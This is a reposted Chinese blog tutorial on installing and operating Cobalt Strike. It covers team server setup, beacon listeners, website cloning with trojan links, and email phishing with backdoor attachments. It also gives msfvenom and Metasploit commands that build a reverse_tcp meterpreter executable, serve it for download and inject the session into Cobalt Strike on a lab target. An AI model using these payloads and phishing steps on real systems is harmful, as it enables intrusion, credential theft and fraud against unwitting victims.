iis服务器助手广告广告
返回顶部
首页 > 资讯 > 操作系统 >Clbalt Strike安装及使用详解
  • 335
分享到

Clbalt Strike安装及使用详解

linux服务器windows网络安全web安全 2023-08-30 11:08:30 335人浏览 独家记忆
摘要

Clbalt Strike安装及使用详解 1 Clbalt Strike的特点2 Clbalt Strike 安装与环境配置(kali)2.1 其他linux系统安装jdk1 升级APT2 使用 APT 安装 OpenJDK 11:

1 Clbalt Strike的特点

Clbalt Strike简称CS 用于团队作战使用,由一个服务端和多个客户端组成,能让多个攻击者这在一个团队服务器上共享目标资源和信息

CS有很多Payload的生成模块 可以生成EXE,dll,vbs,图片马,bad,vba宏,和shellcode等等

CS还支持钓鱼攻击,可自动化挂马链接生成

CS还有很多后渗透模块,浏览器代理模块,端口转发 扫描,提权,socks代理 ,令牌窃取等

Clbalt Strike 分为服务端和客户端

服务端 可以部署在远程服务器下或者 部署在kaili里

客户端 可以部署到本地 支持linuxwindows系统

16478585820453010889ffy

2 Clbalt Strike 安装与环境配置(kali)

准备环境 :

CS4,4(官网自行下载)https://www.cobaltstrike.com/
jdk11(如果使用kali 则不需要另外安装jdk)

2.1 其他linux系统安装jdk

使用 APT 安装 OpenJDK 11:

1 升级APT

sudo apt-get update

apt-get update

2 使用 APT 安装 OpenJDK 11:

sudo apt-get install openjdk-11-jdk

apt-get install openjdk-11-jdk

3 将 OpenJDK 11 设置为默认 Java 程序:

sudo update-java-alternatives -s java-1.11.0-openjdk-amd64

update-java-alternatives -s java-1.11.0-openjdk-amd64

2.2 开始安装

Clbalt Strike 4.4 安装包

image.png将CS4.4解压

image.png

创建一个目录去存解压文件

image.png

image.png

给服务的启动文件赋 777权限

进入终端找到CS4目录 然后 chmod 777 teamserver (注意我这边是使用root终端操作的)

image.png

完成环境配置

3 Clbalt Strike 安装与环境配置(Windows)

3.1 下载Windows x64 OpenJDK:https://jdk.java.net/arcHive/

image.png

然后解压并找个位置放这个 jdk-11.0.1 注意路径最好不要有中文。

image.png

我这边把jdk-11.0.1放到E盘根目录

3.2 环境变量配置

image.png

image.png

进入CMD 输入 java -version

image.png

4 Cobalt Strike下载地址

官网地址 https://www.cobaltstrike.com/

5 Cobalt Strike团队服务器启动

打开root终端进入CS 目录

在终端中输入: ./teamserver 192.168.3.56 123456

解释

image.png

看到这个提示证明已经启动完成

image.png

到此CS服务器启动完成了

6 Cobalt Strike客户端连接到团队服务(Linux)

进入CS目录

image.png

然后输入 ./cobaltstrike 即可

image.png

第一次使用CS会提示权限不够

image.png

我们可以直接给cobaltstrike 赋777权限,然后在启动即课

终端内输入 chmod 777 cobaltstrike

image.png

启动CS完成后根据服务器配置输入IP ,端口,用户名,密码

image.png

看到提示点击 Yes即可

image.png

稍等片刻即可启动完成 (如果电脑较卡启动时间会稍微有点长多等一下)

image.png

7 Cobalt Strike客户端连接团队服务(Windows)

注意Cobalt Strike这款软件最好在虚拟机内执行避免后门反噬主机

解压CS安装包

image.png

启动方法1 直接管理员方式执行 cobaltstrike.bat

启动方法2 在CMD中运行,注意CMD也要管理员权限

image.png

image.png

image.png

启动CS完成后根据服务器配置输入IP ,端口,用户名,密码

image.png

看到服务器指纹确认点Yes 服务器指纹应与服务启动时一样

image.png

image.png


8 Cobalt Strik功能介绍

image.png

图标栏功能说明

1 添加新的 Cobalt Strik 团队服务器

2 删除当前 Cobalt Strik 团队服务器

3 新建一个监听器

4 切换图形会话按钮

5 切换列表会话按钮

6 以列表方式显示目标

7 密码凭证栏按钮

8 下载文件列表

9 键盘记录表

10 屏幕截图表

11 生成Windows下可执行木马

12 生成java签名applet攻击

13 生成office 宏攻击

14 生成powershell后门

15 文件托管按钮

16 管理WEB站点

17 帮助文档

18 关于

9 创建一个监控

9.1 监控器链接方式简介

beacon是cs内置的监听器,当我们在目标机器上成功执行Payload后,会返回一个shell发送到cs上。

foreign主要是提供给cs外的工具使用的监听器,例如派生出来msf的shell来进行后渗透。

External C2 是 cs引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 Http,https,dns,smb tcp 通道。大家可以参考 此处 下载完整的规范说明。

简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:

  • 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
  • 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
  • SMB Beacon:在受害者主机上执行的标准 beacon。

9.2 Beacon分类

Beacon是Cobalt Strike运行在目标主机上的payload,Beacons是在隐蔽信道上给我们提供服务,用于长期控制受感染主机 。它的工作方式与Metasploit类似。在实际渗透过程中,我们可以将其 嵌入到可执行文件添加到Word文档或者通过利用主机漏洞来传递Beacon。

  1. DNS Beacon
  2. HTTP 和 HTTPS Beacon
  3. SMB Beacon
  4. TCP Beacon

9.2.1 DNS Beacon

DNS Beacon,就是使用DNS请求将Beacon返回。DNS 请求用于解析由你的 CS 团队服务器

DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务

注意:

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式

DNS Beacon优点:

拥有更高的隐蔽性,但是速度相对于HTTP Beacon会更慢。

image.png

9.2.2 HTTP 和 HTTPS Beacon

HTTP Beacon 利用http请求来进行通信来向受害主机传达命令,达到控制对方主机的目的。缺点是明文传输。

HTTPS Beacon 增加了加密传输,其余跟http完全相同。

image.png

9.2.3 SMB Beacon

官网的解释为SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。

以上的说法,其实就是将 Payload 运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。

image.png

9.2.3 TCP Beacon

TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP Socket进行通信,cs4.0之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术,很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用tcp beacon去生成木马。

点击image.png或 点击监听器

image.png

image.png

image.png

10 Cobalt Strik 目标主机信息收集

Cobalt Strik内置信息收集模块 可以收集 目标主机的操作系统版本 系统位数 浏览器 版本 位数

方便攻击者针对性攻击

image.png

配置信息收集 有4个参数可以设置 分别为 本地URL 本地Host 本地端口 跳转URL

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

跳转URL 默认可不设置跳转

image.png

11 Cobalt Strik 克隆网页并挂马

克隆网页

image.png

1 配置网站克隆

克隆URL 输入http网站链接

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

攻击地址 : 默认不配置

image.png

配置完成后访问 本地host地址

2 挂马

image.png

克隆URL 输入http网站链接

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

攻击地址 : 选择一个已经配置好的后面下载链接 这个需要提前配·后门具体看视频

配置完成后访问 本地host地址+ 参数 mb

12 Cobalt Strik 邮件钓鱼

1 准备一个邮箱用于发送邮件

这边拿QQ邮箱为例 点击设置然后点击 账户

image.png

找到 IMAP/SMTP服务 点击开启服务 获取 授权码 (获取后把这个授权码先记录下来)

image.png

然后回到CS中 进入邮件钓鱼

image.png

邮件钓鱼配置参数如下

目标 :这里指的是接收邮件的号码

模板:邮件的格式个内容

附件: 可以加入后门程序或其他 或者不加

嵌入URL : 可以选择配置好的网站放进去

邮件服务器:

image.png

退信通知邮箱 可以填写任意可接受邮件的邮箱

image.png

所有参数配置完成后 点击 Send 发送邮件即可

12 将MSF会话注入Cobalt Strik监控

1 环境准备:

1 kali操作系统

2 Cobalt Strik 服务端和客户端

3 一个在MSF下拿到权限的靶机

2 配置MSF创建监听

1 使用msf创建后门

msfvenom -a x86 --platfORM windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.150 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe

2 使用python创建一个web服务 然后使用靶机下载

python3 -m http.server 80

3 配置监控并获取meterpreter

启动msf

msfconsole

创建监控

use exploit/multi/handler

加载payload

set payload windows/meterpreter/reverse_tcp

配置监控参数

show options

set lhost 监控IP

set lport 监控端口

run 执行

去靶机执行后门程序 等待返回 meterpreter

4 后台当前session

background

3 使用CS进行监控

1 加载MSF的payload 注入功能

use exploit/windows/local/payload_inject

2 设置payload

set payload windows/meterpreter/reverse_http

3 查看配置参数

show options

set lhost 10.0.0.36

设置cs服务器地址

4 set lport 4567

设置cs监听端口

5 set session 1

设置监控会话

6 set disablepayloadhander true

设置当前msf不接受监听数据

7 run

执行设置

4 CS开始实战操作

来源地址:https://blog.csdn.net/m0_52051132/article/details/127411192

--结束END--

本文标题: Clbalt Strike安装及使用详解

本文链接: https://www.lsjlt.com/news/382811.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Clbalt Strike安装及使用详解
    Clbalt Strike安装及使用详解 1 Clbalt Strike的特点2 Clbalt Strike 安装与环境配置(kali)2.1 其他linux系统安装jdk1 升级APT2 使用 APT 安装 OpenJDK 11:...
    99+
    2023-08-30
    linux 服务器 windows 网络安全 web安全
  • MySQLWorkbench安装及使用详解
    目录一、MySQL Workbench简介二、MySQL数据库安装三、远程连接MySQL服务器四、创建数据库五、创建数据表六、数据内容维护七、查看数据表八、修改数据表九、删除数据表 ...
    99+
    2022-11-13
    MySQL Workbench安装 MySQL Workbench使用 MySQL Workbench
  • ADB安装及使用详解
    一、ADB简介 1、什么是adb ADB 全称为 Android Debug Bridge,起到调试桥的作用,是一个客户端-服务器端程序。其中客户端是用来操作的电脑,服务端是 Android 设备。 ADB 也是 Android SDK 中...
    99+
    2023-08-31
    adb android
  • yarn的安装及使用详解
    目录一、引言二、同为包管理工具 npm和yarn的区别三、yarn的安装四、总结一、引言 之前出过一篇关于 用 npm 创建 react 项目的介绍与使用教程,本文在此介绍并对比一下...
    99+
    2024-04-02
  • IDEA 安装lombok及使用详解
    目录 ① 为什么使用 ② 如何安装 1.安装lombok插件:    2.添加lombok的maven的pom.xml依赖:   3.实体类示例代码Student.java 4.测试类LombokTest.java    5. 输出结果: ...
    99+
    2023-09-02
    intellij-idea java ide
  • docker安装mongoDB及使用方法详解
    目录一、MongoDB是什么?1. mongo的体系结构2. mongoDB的特点(或使用场景)3. mongoDB与mysql、Redis对比4. mongoDB存储原理二、使用docker安装mongo1.安装2.创...
    99+
    2023-03-19
    docker安装mongodb docker安装mongo
  • webpack安装配置及使用教程详解
    目录一、webpack介绍1、由来2、介绍3、作用4、拓展说明5、webpack整体认知二、webpack安装1、安装node2、安装cnpm3、安装nrm的两种方法4、安装webp...
    99+
    2024-04-02
  • 【FTP工具】FileZila安装以及使用详解
    一、FTP概念 安装FTP主要是为了传输文件,FTP是持久的,只有一次认证过程,传输多个文件都是使用同一个连接。因为FTP就是为远程文件交互而设计的,有些时候只是为了单纯做一个文件传输,往往搭建FTP服务更省时和节约成本。FTP(File ...
    99+
    2023-08-18
    服务器 FTP
  • 详解PostgreSQL 14.4安装使用及一些安装的异常问题
    PostgreSQL 14的安装以及使用 因为公司的一些要求,可能要换数据库,虽然之前装过,但是版本感觉还是新一点比较好,所以重新装一下 首先下载文件,直接去官网下载就行 https...
    99+
    2024-04-02
  • Windows安装Anaconda3的方法及使用过程详解
    目录一、环境二、下载三、创建 Python 虚拟环境四、启动 Python 虚拟环境五、将 Python 虚拟环境添加到 Jupyter Notebook六、Jupyter Note...
    99+
    2024-04-02
  • GNS3安装与使用详解
    一、GNS3的安装以及配置       安装的路径很重要,如果不是按照默认路径安装的话,安装完要到编辑下的首选项里修改几个东西的路径。这对于我们新手比较麻烦,所以 建议新手按照默认路径安装咯。然后如果360安全卫士有提示,全部选择“允许”...
    99+
    2023-01-31
    详解
  • 详解PythonFlask框架的安装及应用
    目录1.安装1.1 创建虚拟环境1.2 进入虚拟环境1.3 安装 flask2.上手2.1 最小 Demo2.2 基本知识3.解构官网指导 Demo3.1 克隆与代码架构分析3.2 ...
    99+
    2024-04-02
  • resin3安装及使用
    1.)安装JAVA2.)设置环境变量3.)安装resin4.)resin多进程设置一、下载JAVA的rpm包,直接安装即可二、设置环境变量  1.为了统一路径,将JAVA建一个软连接在/opt目录      ln -s /opt/zimbr...
    99+
    2023-01-31
  • node.js安装及HbuilderX配置详解
    npm安装教程: 一.下载Node.js安装包 官网:https://nodejs.org/en/ 二.使用之前,我们先来掌握3个东西是用来干什么的。 webpack: 它主要的...
    99+
    2024-04-02
  • pyEcharts安装及详细使用指南(最新)
    ECharts是一个纯Javascript的图表库,可以流畅的运行在PC和移动设备上,兼容当前绝大部分浏览器,底层依赖轻量级的Canvas类库ZRender,提供直观、生动、可交互、...
    99+
    2024-04-02
  • SeleniumIDE安装及使用
    目录1.Selenium IDE简介2.Selenium IDE下载3.使用1.Selenium IDE简介 是Chrome和FireFox的扩展工具,用于在浏览器中进行便捷的录制与...
    99+
    2023-03-22
    Selenium IDE安装 Selenium IDE使用
  • javaFX安装及使用
    一、javaFX下载 Jdk 从 1.8 开始 jdk 自带 JavaFX,到 Jdk 11 开始 jdk 不再内置 JavaFX,所以如果你使用的是高版本的 jdk 在使用 javaFX 的时候就需...
    99+
    2023-09-01
    intellij-idea java javaFX安装及使用 javaFX javaFX安装
  • Python3安装及使用pip的详细教程
    Python3安装pip的详细教程,需要具体代码示例 引言:在使用Python3进行开发时,我们常常需要使用到各种第三方库来辅助开发,而pip就是Python的包管理工具,能够帮助我们方便地安装、升级和管理各种Python包。在...
    99+
    2024-01-18
    Python pip 安装
  • Gogorillasecurecookie库的安装使用详解
    目录简介快速使用使用 JSON自定义编解码Hash/Block 函数更换 Key总结简介 cookie 是用于在 Web 客户端(一般是浏览器)和服务器之间传输少量数据的一种机制。由...
    99+
    2024-04-02
  • nginx编译安装及常用参数详解
    目录1 基于ansible role实现编译安装nginx2 编译安装参数详解1 基于ansible role实现编译安装nginx 利用ansible控制端10.0.0.8机器,在...
    99+
    2023-01-11
    nginx编译安装参数 nginx编译安装
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作